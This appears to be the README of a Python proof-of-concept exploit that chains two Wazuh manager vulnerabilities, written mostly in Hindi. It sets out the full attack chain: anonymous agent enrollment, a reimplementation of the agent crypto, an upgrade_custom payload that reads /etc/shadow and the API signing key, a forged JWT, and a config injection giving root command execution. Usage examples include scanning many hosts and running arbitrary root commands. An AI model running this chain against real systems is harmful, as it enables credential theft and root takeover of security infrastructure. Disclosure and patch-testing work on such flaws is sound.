
Wazuh PoC जो CVE-2026-74034 फ़ाइल पढ़ने और CVE-2026-74041 कमांड निष्पादन को श्रृंखलाबद्ध करता है; 4.14.8 में ठीक किया गया। केवल Python मानक लाइब्रेरी।
एकल-फ़ाइल, केवल-stdlib बहु-होस्ट PoC जो CVE-2026-74034 और CVE-2026-74041 को श्रृंखलाबद्ध करता है। दोनों सलाहकार 13 अक्टूबर 2026 को प्रकाशित हुए थे; सुधार 23 सितंबर 2026 को Wazuh 4.14.8 में जारी किए गए थे। संस्करण 4.14.8 पैच किया गया रिलीज़ है, प्रभावित लक्ष्य नहीं।
स्क्रिप्ट निम्नलिखित श्रृंखला को लागू करती है जब आवश्यक मैनेजर सेवाएँ पहुँच योग्य हों और पासवर्ड-रहित एजेंट नामांकन सक्षम हो:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
जब डिफ़ॉल्ट रूप से शिप किया गया पासवर्डलेस authd नामांकन पहुँच योग्य हो (<auth><use_password>no</use_password>), तो किसी पूर्व-मौजूद क्रेडेंशियल की आवश्यकता नहीं होती है। एक नामांकन पासवर्ड या आवश्यक क्लाइंट प्रमाणपत्र इस पूर्व-शर्त को बदल देता है। अकेले CVE-2026-74041 के लिए configuration-update अनुमति वाले एक प्रमाणित API उपयोगकर्ता की आवश्यकता होती है; इस श्रृंखला में, API पहुँच साइनिंग-की प्रकटीकरण के बाद आती है।
| CVE | CVSS / वेक्टर | प्रभावित | एक-पंक्ति विवरण |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | upgrade_custom का parameters.file_path ROOT wm_agent_upgrade द्वारा खोला जाता है, जिसमें केवल एक wfopen() अस्तित्व जाँच होती है और इसे नामांकित एजेंट को वापस स्ट्रीम किया जाता है → मनमानी रूट फ़ाइल पढ़ना |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands एक अपरकेस <LOG_FORMAT> स्वीकार करता है जिसे केस-संवेदी Python वैलिडेटर चूक जाता है लेकिन केस-असंवेदी C logcollector उसका पालन करता है → रूट के रूप में full_command localfile |
दो संस्करण श्रेणियाँ व्यक्तिगत त्रुटियों का वर्णन करती हैं; पूरी श्रृंखला के लिए प्रलेखित ओवरलैप >=4.14.3 <4.14.8 है। अन्य सलाहकार इस PoC के दायरे से बाहर हैं।
pip नहीं, कोई pycryptodome नहीं, कोई cryptography नहीं)।1515, 1514, 55000 के लिए आउटबाउंड TCP।# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| फ़्लैग | डिफ़ॉल्ट | अर्थ |
|---|---|---|
--port | 55000 | Wazuh REST API पोर्ट |
--authd-port | 1515 | authd नामांकन पोर्ट |
--remoted-port | 1514 | एजेंट सुरक्षित-चैनल पोर्ट |
--timeout | 10 | सॉकेट टाइमआउट (सेकंड) |
--agent-name | poc-<rand8> | मैनेजर पर नामांकित नाम |
--cmd | (id; hostname) > …/zz_pwned | चरण-4 रूट कमांड |
--no-rce | बंद | चरण 4 छोड़ें |
--keep | बंद | ossec.conf को पुनर्स्थापित न करें / मार्कर न हटाएँ |
--debug | बंद | प्रोटोकॉल संदेश डंप करें |
--threads | 5 | होस्ट समानांतरता |
--api-user | wazuh | नकली JWT में डालने के लिए उपयोगकर्ता नाम |
प्रत्येक होस्ट के लिए निकास हमेशा सुगम होता है: अस्वीकृति, पासवर्ड-संरक्षित authd, पैच किया गया संस्करण या क्रिप्टो बेमेल को सटीक अवरोधक बिंदु के साथ रिपोर्ट किया जाता है और रन शेष होस्ट के साथ जारी रहता है।
TCP 55000 (API), 1515 (authd), 1514 (remoted) की जाँच करता है। TLS सत्यापन अक्षम करके
GET / का अनुरोध करता है और जब API इसे बिना प्रमाणीकरण के उजागर करता है तो api_version रिपोर्ट करता है। कठोर बनाए गए बिल्ड पर GET / 401 लौटाता है; वास्तविक मैनेजर संस्करण
तब चरण 3 में /var/ossec/VERSION.json से पुनर्प्राप्त किया जाता है और
4.14.8 के विरुद्ध फ़्लैग किया जाता है।
TLS कनेक्शन (4.4+ authd केवल TLS है; स्क्रिप्ट बहुत पुराने बिल्ड के लिए सादे TCP का भी पुनः प्रयास करती है), फिर OSSEC A:'<name>'\n। मैनेजर
OSSEC K:'<id> <name> <ip> <key>' का उत्तर देता है; स्क्रिप्ट 64-हेक्स एजेंट कुंजी रखती है।
src/os_crypto/shared/msgs.c से Wazuh एजेंट क्रिप्टो को पुनरुत्पादित करता है:
[4-byte little-endian length][payload]ip=any) एजेंट के लिए पेलोड !<id>!#AES:<ciphertext>MD5(agent_key_hex) (32 ASCII बाइट्स), IV FEDCBA0987654321,
PKCS#7!…! पैडिंग + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)यह #!-agent startup {"version":"v4.14.6"} और Ubuntu
प्लेटफ़ॉर्म/आर्क वाला एक कीपअलाइव भेजता है ताकि एजेंट ग्लोबल DB में active हो जाए, फिर एक क्यू u
(UPGRADE_MQ) कार्य:
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd इसे WM_UPGRADE_SOCK पर अग्रेषित करता है; ROOT wazuh-modulesd फ़ाइल खोलता है
(wfopen, कोई पथ/एक्सटेंशन/हस्ताक्षर जाँच नहीं) और कच्चे बाइट्स को base64 write चंक्स के रूप में
वापस स्ट्रीम करता है। स्क्रिप्ट उन्हें पुनः जोड़ती है और लाइव [ACC] पंक्तियाँ प्रिंट करती है:
| फ़ाइल | प्रबंधन |
|---|---|
/etc/shadow | केवल root: / wazuh: पंक्तियाँ (हैश पूर्ण रूप में प्रिंट) |
/var/ossec/etc/client.keys | पूर्ण (25 पंक्तियों तक सीमित, बाइट्स गिने गए) |
/var/ossec/etc/authd.pass | पूर्ण (जब नामांकन अनाम है तो अनुपस्थित) |
/var/ossec/api/configuration/security/private_key.pem | पूर्ण |
/var/ossec/etc/ossec.conf | क्लस्टर <key>, indexer क्रेडेंशियल, <auth> पासवर्ड |
/var/ossec/VERSION.json | recon के लिए संस्करण फ़ॉलबैक |
फ़ाइलों के बीच स्क्रिप्ट upgrade_update_status भेजती है (अन्यथा टास्क मैनेजर
एजेंट को In progress में रखता है और अगला टास्क अस्वीकार कर देता है)।
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900)। GET /agents के विरुद्ध सत्यापित।GET /manager/configuration?raw=true, अंतिम </ossec_config> से पहले एक
<localfile> डालें जिसमें लोअरकेस <log_format>syslog</log_format>
डिकॉय और अपरकेस <LOG_FORMAT>full_command</LOG_FORMAT> तथा कमांड हो।PUT /manager/configuration (application/octet-stream), फिर PUT /manager/restart।GET /lists/files/zz_pwned?raw=true को पोल करें।--keep न हो: मूल ossec.conf PUT करें, पुनः आरंभ करें, और
DELETE /lists/files/zz_pwned करें (मार्कर गायब होने तक पुनः प्रयास के साथ)।[+] (स्थिति), [ACC] (एकत्रित
एक्सेस/सीक्रेट), [!] (चेतावनी), [-] (विफलता) टैग के साथ, होस्ट प्रीफ़िक्स के साथ।findings.jsonl स्क्रिप्ट के बगल में जोड़ा जाता है: प्रति होस्ट एक JSON ऑब्जेक्ट जिसमें
version, agent_id, agent_key (जब नामांकन सफल हो), accesses,
findings, ok, और वैकल्पिक error होता है। फ़ाइल को संवेदनशील मानें।ok कम से कम एक फ़ाइल पढ़े जाने को दर्शाता है, पुष्ट RCE को नहीं।